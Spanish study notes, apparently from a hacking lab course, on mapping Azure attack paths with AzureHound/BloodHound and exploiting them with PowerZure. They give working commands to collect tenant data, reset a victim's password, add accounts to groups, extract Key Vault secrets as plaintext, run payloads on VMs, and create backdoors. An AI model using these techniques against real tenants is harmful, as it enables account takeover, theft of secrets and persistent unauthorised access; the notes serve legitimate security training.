BloodHound — Azure Enumeration (AzureHound)
Conceptos clave
Los nodos y edges de Azure en BloodHound tienen el prefijo AZ. El enfoque es el mismo que en AD: encontrar rutas de ataque entre nodos usando edges que representan permisos y relaciones.
A diferencia de AD, los usuarios en Azure no pueden leer todos los objetos por defecto. Si el usuario comprometido no tiene permisos de lectura sobre un objeto, AzureHound no lo recolectará.
Nodos de Azure en BloodHound
AZTenant → tenant de Azure AD (instancia dedicada para una organización)
AZUser → usuario en Azure AD
AZGroup → grupo en Azure AD
AZApp → aplicación registrada en Azure AD
AZSubscription → suscripción de Azure (contenedor lógico de recursos)
AZResourceGroup → grupo de recursos (contenedor con ciclo de vida compartido)
AZVM → máquina virtual en Azure
AZDevice → dispositivo registrado en Azure AD
AZServicePrincipal → identidad de seguridad usada por aplicaciones y serviciosEdges de Azure más importantes
AZAddMembers → puede agregar miembros a grupos o roles
AZAddOwner → puede agregar propietarios a suscripciones
AZAppAdmin → rol administrativo sobre una aplicación Azure AD
AZCloudAppAdmin → rol administrativo sobre una aplicación cloud
AZContributor → rol Contributor en un scope de recurso (gestión total)
AZExecuteCommand → puede ejecutar comandos en una VM
AZGetCertificates → puede obtener certificados de un Key Vault
AZGetKeys → puede obtener claves de un Key Vault
AZGetSecrets → puede obtener secretos de un Key Vault
AZGlobalAdmin → rol Global Administrator en Azure AD (máximo privilegio)
AZKeyVaultContributor → gestión de Key Vaults
AZManagedIdentity → recurso con identidad administrada para autenticarse a otros servicios
AZOwns → propietario de un recurso
AZPrivilegedRoleAdmin → acceso total a Azure AD y todos los servicios Azure
AZResetPassword → puede resetear contraseñas de otros usuarios
AZUserAccessAdmin → gestión de acceso de usuarios a recursos Azure
AZVMAdminLogin → puede iniciar sesión como admin en una VMAzureHound — Recolección de datos
Métodos de autenticación disponibles
Usuario y contraseña
JSON Web Token (JWT)
Refresh Token
Service Principal Secret
Service Principal CertificateRecolección con usuario y contraseña
.\azurehound.exe -u "Isabella.Miller@tenant.onmicrosoft.com" -p "Password123!" list --tenant "tenant.onmicrosoft.com" -o all.jsonRecolección con Refresh Token
.\azurehound.exe -r "<refresh_token>" list --tenant "tenant.onmicrosoft.com" -o all.jsonRecolección con Service Principal
.\azurehound.exe -a "<app_id>" -s "<client_secret>" list --tenant "tenant.onmicrosoft.com" -o all.jsonImportar datos a BloodHound
Arrastrar y soltar el archivo all.json directamente en la ventana de BloodHound o usar el botón de Upload Data.
No genera múltiples archivos como SharpHound — AzureHound produce un solo JSON con todo.
Análisis de datos Azure en BloodHound
No hay queries pre-construidas para Azure en BloodHound legacy. Hay que usar la navegación manual o Cypher.
Ver qué controla un usuario comprometido
Buscar: el usuario (ej: Isabella.Miller@tenant.onmicrosoft.com)
→ Outbound Object Control → Transitive Object ControlMuestra todos los objetos que el usuario puede controlar de forma directa o encadenada.
Buscar por tipo de nodo Azure
AZSubscription: → suscripciones
AZVM: → máquinas virtuales
AZGroup: → grupos de Azure AD
AZUser: → usuarios de Azure AD
AZKeyVault: → key vaultsSi el usuario comprometido no tiene permisos de lectura sobre esos objetos, no aparecerán en BloodHound.
Queries Cypher para Azure
# Todos los usuarios de Azure
MATCH (u:AZUser) RETURN u.name
# Usuarios con rol Global Admin
MATCH p=(u)-[:AZGlobalAdmin]->(t:AZTenant) RETURN u.name, t.name
# Rutas de ataque desde un usuario Azure
MATCH p = shortestPath((n:AZUser {name:"ISABELLA.MILLER@TENANT.ONMICROSOFT.COM"})-[*1..]->(c))
WHERE NOT n=c
RETURN p
# Quién puede ejecutar comandos en VMs
MATCH p=(n)-[:AZExecuteCommand]->(vm:AZVM) RETURN n.name, vm.name
# Quién puede leer secretos de Key Vaults
MATCH p=(n)-[:AZGetSecrets]->(kv:AZKeyVault) RETURN n.name, kv.name
# Quién puede resetear contraseñas
MATCH p=(n)-[:AZResetPassword]->(u:AZUser) RETURN n.name, u.nameConsideraciones importantes
En Azure los permisos son más granulares que en AD. Un usuario puede tener el rol Password Administrator que le permite resetear contraseñas de usuarios no administradores pero no de admins.
AzureHound solo recolecta lo que el usuario autenticado puede leer. Si buscas AZSubscription: y no devuelve nada, el usuario no tiene permisos de lectura sobre la suscripción, no significa que no exista.
Cancelar la suscripción de Azure al terminar los ejercicios para evitar cargos inesperados.
BloodHound — Azure Attacks (PowerZure)
¿Qué es PowerZure?
PowerZure es un framework de PowerShell para enumerar y atacar entornos Azure, similar a lo que PowerView hace para Active Directory.
Setup inicial
Conectar a Azure
# Con credenciales en variable
$username = "Isabella.Miller@tenant.onmicrosoft.com"
$password = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential $username, $password
Connect-AzAccount -Credential $creds
# Interactivo (ventana de login)
Connect-AzAccountImportar PowerZure
Import-Module .\PowerZure.psd1
# Ver todas las funciones disponibles
Invoke-PowerZure -hConfigurar suscripción si hay varias
Set-AzureSubscriptionEnumeración con PowerZure
# Ver usuario actual y objetos que posee
Get-AzureCurrentUser
# Ver todos los usuarios y sus roles en Azure y AzureAD
Get-AzureADUser
# Ver miembros de un grupo
Get-AzureADGroupMember -Group "Subscription Reader"
# Ver miembros de un rol específico
Get-AzureADRoleMember
# Ver roles de Azure RBAC y sus miembros
Get-AzureRole
# Ver a qué recursos tienes acceso basado en tu rol y scope actual
Get-AzureTarget
# Ver contenido de Key Vaults disponibles
Show-AzureKeyVaultContent
# Ver contenido de Storage
Show-AzureStorageContent
# Ver identidades administradas y sus roles
Get-AzureManagedIdentity
# Ver cuentas RunAs de Automation Accounts
Get-AzureRunAsAccount
# Obtener el TenantID de un dominio
Get-AzureTenantIdFlujo de ataque típico en Azure
Patrón general
1. Comprometer usuario inicial (ej: Isabella via phishing o credenciales filtradas)
2. Recolectar con AzureHound → importar a BloodHound
3. Analizar Transitive Object Control del usuario comprometido
4. Identificar edges abusables (AZResetPassword, AZOwns, AZContributor, etc.)
5. Encadenar los edges hasta llegar al objetivo (Key Vault, VM, suscripción)Abuso de AZResetPassword
El usuario tiene permisos para resetear la contraseña de otro usuario. Permite tomar control de esa cuenta y heredar todos sus privilegios.
# Conectar como el atacante
Connect-AzAccount -Credential $IsabellaCreds
# Resetear contraseña de la víctima
Set-AzureADUserPassword -Username Charlotte.Moore@tenant.onmicrosoft.com -Password NewPassword123!
# Conectar como la víctima
Connect-AzAccount -Credential $CharlotteCredsAbuso de AZOwns — Agregarse a un grupo
El usuario Charlotte es propietario del grupo "Subscription Reader". Como propietaria puede agregar miembros.
# Conectar como Charlotte
Connect-AzAccount -Credential $CharlotteCreds
# Agregarse al grupo
Add-AzureADGroupMember -Group "Subscription Reader" -Username Charlotte.Moore@tenant.onmicrosoft.com
# Verificar membresía
Get-AzureADGroupMember -Group "Subscription Reader"Una vez en el grupo, re-ejecutar AzureHound con las nuevas credenciales para ver objetos adicionales que antes no eran visibles.
.\azurehound.exe -u "Charlotte.Moore@tenant.onmicrosoft.com" -p "NewPassword123!" list --tenant "tenant.onmicrosoft.com" -o all-charlotte.jsonLeer secretos de Azure Key Vault
Prerequisito: tener rol AZContributor o AZGetSecrets sobre el Key Vault
# Conectar como el usuario con acceso al Key Vault
Connect-AzAccount -Credential $AvaCreds
# Listar secretos disponibles en el Key Vault
Get-AzKeyVaultSecret -VaultName HTB-SECRETPLAINTEXT96519
# Obtener el valor del secreto (viene como SecureString)
$secret = Get-AzKeyVaultSecret -VaultName HTB-SECRETPLAINTEXT96519 -Name HTBKeyVault
# Convertir a texto plano
[System.Net.NetworkCredential]::new('', $secret.SecretValue).Password
# Con PowerZure (alternativa, puede no funcionar en versiones nuevas)
Get-AzureKeyVaultContent -VaultName HTB-SECRETPLAINTEXT96519
Export-AzureKeyVaultContent -VaultName HTB-SECRETPLAINTEXT96519Ejecutar comandos en Azure VM
Prerequisito: tener AZOwns o AZContributor sobre la VM
# Con PowerZure (más simple)
Invoke-AzureRunCommand -VMName "AZVM-01" -Command "whoami"
Invoke-AzureRunCommand -VMName "AZVM-01" -Command "net user"
Invoke-AzureRunCommand -VMName "AZVM-01" -Command "type C:\Users\Administrator\Desktop\flag.txt"
# Con módulo Az (más control)
Invoke-AzVMRunCommand -ResourceGroupName "PRODUCTION" -CommandId "RunPowerShellScript" -VMName "AZVM-01" -ScriptString "whoami"
# Ejecutar un script completo
Invoke-AzVMRunCommand -ResourceGroupName "PRODUCTION" -CommandId "RunPowerShellScript" -VMName "AZVM-01" -ScriptPath ".\payload.ps1"Otras operaciones útiles con PowerZure
# Crear backdoor via Service Principal
New-AzureBackdoor
# Elevar privilegios de Global Admin a User Access Administrator
Set-AzureElevatedPrivileges
# Agregar secreto a un Service Principal
Add-AzureADSPSecret
# Crear usuario en Azure AD
New-AzureADUser
# Asignar rol Azure AD a un usuario
Add-AzureADRole
# Obtener disco de una VM (link de descarga válido 24 horas)
Get-AzureVMDisk -VMName "AZVM-01"
# Obtener contenido de un Runbook
Get-AzureRunbookContent
# Ejecutar un Runbook con RunAs account
Invoke-AzureCommandRunbookConsideraciones importantes
Si PowerZure falla en alguna función por cambios en la API de Azure, usar directamente los módulos AzureAD y Az:
# Instalar módulos si no están
Install-Module AzureAD
Install-Module Az
# Conectar con AzureAD
Connect-AzureAD -Credential $creds
# Conectar con Az
Connect-AzAccount -Credential $credsDespués de terminar los ejercicios, cancelar la suscripción de Azure para evitar cargos: https://docs.microsoft.com/en-us/azure/cost-management-billing/manage/cancel-azure-subscription